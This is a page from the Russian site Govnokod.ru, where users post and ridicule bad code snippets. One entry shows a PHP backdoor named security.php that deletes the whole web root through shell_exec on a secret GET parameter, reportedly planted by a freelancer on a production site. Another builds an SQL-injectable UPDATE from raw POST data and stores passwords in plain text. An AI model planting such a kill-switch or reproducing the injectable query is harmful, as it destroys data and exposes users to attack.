По колено в коде — Говнокод.ру

PHP / Говнокод #12577

+119

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

<?php
session_start();
if(empty($_SESSION['login']) or empty($_SESSION['id']) or empty($_SESSION['auth_key']))
{
    header("Location: index.php");
}
else
{
    $user_name = $_POST['name'];
    $user_sname = $_POST['sname'];
    $user_gender = $_POST['gender'];
    $user_about = $_POST['about'];
    
    
    $user_phone = $_POST['phone'];
    $user_mail = $_POST['email'];
    
    $user_company = $_POST['company'];
    $user_company_position = $_POST['position'];
    
    
    $user_login = $_POST['login'];
    $user_password = $_POST['password'];
    
    include 'includes/xd4sw.php';
    $update_query = mysql_query("UPDATE users SET user_name='$user_name', user_sname='$user_sname', user_gender='$user_gender',
            user_about='$user_about', user_phone='$user_phone', user_mail='$user_mail', user_company='$user_company', 
            user_company_position='$user_company_position', user_login='$user_login', user_password='$user_password' WHERE user_id=".$_SESSION['id']);
    mysql_close($db);
    header('Location: settings.php?act=good');
    
}

?>

НА НАХ!!!!

Govnisti_Diavol, 12 Февраля 2013

Комментарии (31)

PHP / Говнокод #12576

+136

1
2
3
4
5
6
7
8

<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
    $dir = __DIR__;
    shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>

Фрилансер защищает себя от неплатежеспособного заказчика xD

Файл лежал на продакшин сервере около года, название файла - security.php

uint, 11 Февраля 2013

Комментарии (9)

JavaScript / Говнокод #12575

+166

1

var strLabel = "<label for='yyyy' generated='true' class='error'>Чтобы зарегистрироваться, вам должно быть не менее 00 лет.</label>".replace(/00/gi, ageLimit);

Автор: samsung

111111, 11 Февраля 2013

Комментарии (4)

Си / Говнокод #12574

+131

1
2
3
4
5
6
7

void *threadFunc(void *)
{
	// ...
	pthread_exit( (void*)lTaskId );
	return ( (void*)lTaskId );
	// ...
}

позабавило.

для непосвященных: return в функции потока аналогичен вызову pthread_exit().

Dummy00001, 11 Февраля 2013

Комментарии (3)

PHP / Говнокод #12570

+109

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

public function __get($name){          
        if(isset($this->fields[$name])){            
            if(class_exists($this->fields[$name]) && 
               strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 && 
               strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){    
                $class = $this->fields[$name];
                $id = (string)$this->vals[$name]['id'];
                if(!$this->refsCache[$id])
                    $this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
                return $this->refsCache[$id];
            }else                
                return $this->vals[$name];
        }elseif(isset($this->fieldsRev[$name])) 
            return $this->vals[$name];
        else throw new Exception('Not found field "'.$name.'" when reading in model');
    }

    public function __set($name, $value){    
        if(isset($this->fields[$name])){  
            if(class_exists($this->fields[$name]) && 
               strcasecmp($this->fields[$name], get_class($value)) == 0 && 
               strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
                $this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
            else                
                $this->vals[$name] = $value;
        }elseif(isset($this->fieldsRev[$name])) 
            $this->vals[$name] = $value;
        else throw new Exception('Not found field "'.$name.'" when writing in model');        
    }

Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.

haker, 11 Февраля 2013

Комментарии (9)

Куча / Говнокод #12569

+141

1

http://sqlserverplanet.com/troubleshooting/cannot-insert-explicit-value-for-identity-column-in-table-table-when-identity_insert-is-set-to-off

Последний комментарий

denis90, 11 Февраля 2013

Комментарии (1)

PHP / Говнокод #12568

+88

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19

//До рефакторинга
static function initConnectOnce(){
    $who = get_called_class();
    if(!$GLOBALS[$who][class_cllct]){
        $db = new DataBase();
        $GLOBALS[$who][class_cllct] = $db->selectCollection(get_called_class());
    }
    return $GLOBALS[$who][class_cllct];
}
//После
public static function initCollectOnce(){
    $who = get_called_class();  
    $cllct = &self::$cacheCollect[$who];
    if(!$cllct){
        $db = new DataBase();
        $cllct = $db->selectCollection($who);
    }
    return $cllct;
}

Недавно начал рефакторить свой же код. Нашел такой вот незаметный гавнокод...
Для тех кто в танке =)
1. selectCollection(get_called_class()) - зачем вызывать по второму разу, если результат уже есть в переменной $who.
2. $GLOBALS[$who][class_cllct] - немного глюкнуло наверное, когда писал... Логичнее так $GLOBALS[class_cllct][$who].
3. initConnectOnce - тут даже наверное не Connect должно быть, а Collect.
4. Вместо $GLOBALS[$who][class_cllct] лучше(имхо) заюзать статичное свойство для класса.
5. static function initConnectOnce - забыл public описать....

haker, 11 Февраля 2013

Комментарии (16)

Java / Говнокод #12567

+61

1
2
3
4
5
6

public void insert()
{
    super.insert();
    if (this.ItemId == "")
        this = this;
}

нарочно не придумаешь

bodeaux, 11 Февраля 2013

Комментарии (7)

C# / Говнокод #12566

+135

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

namespace CuttingBox
{

    class Program
    {
        static public Tuple<int[], String> getProperty()
        {
            int[] itemDimensionProperty = new int[3];
            String itemColorProperty;
            String[] parseResult = new String[4];
            parseResult = (Console.ReadLine().Split(' '));
            for (int counter = 0; counter < 3; counter++)
            {
                itemDimensionProperty[counter] = Convert.ToInt32(parseResult[counter]);
            }
            itemColorProperty = parseResult[3];
            Tuple<int[], String> itemProperty = new Tuple<int[], string>(itemDimensionProperty, itemColorProperty);
            return itemProperty;
        }

        static void Main(string[] args)
        {
            List<Tuple<int[], String>> itemProperty = new List<Tuple<int[], String>>();
            itemProperty.Add(getProperty());
            int numberOfBoxes = Convert.ToInt32(Console.ReadLine());
            for (int counter=1; counter<=numberOfBoxes; counter++){
                itemProperty.Add(getProperty());
            }
        }
    }
}

Парсим строки правильно...

javanesovsemgovno, 11 Февраля 2013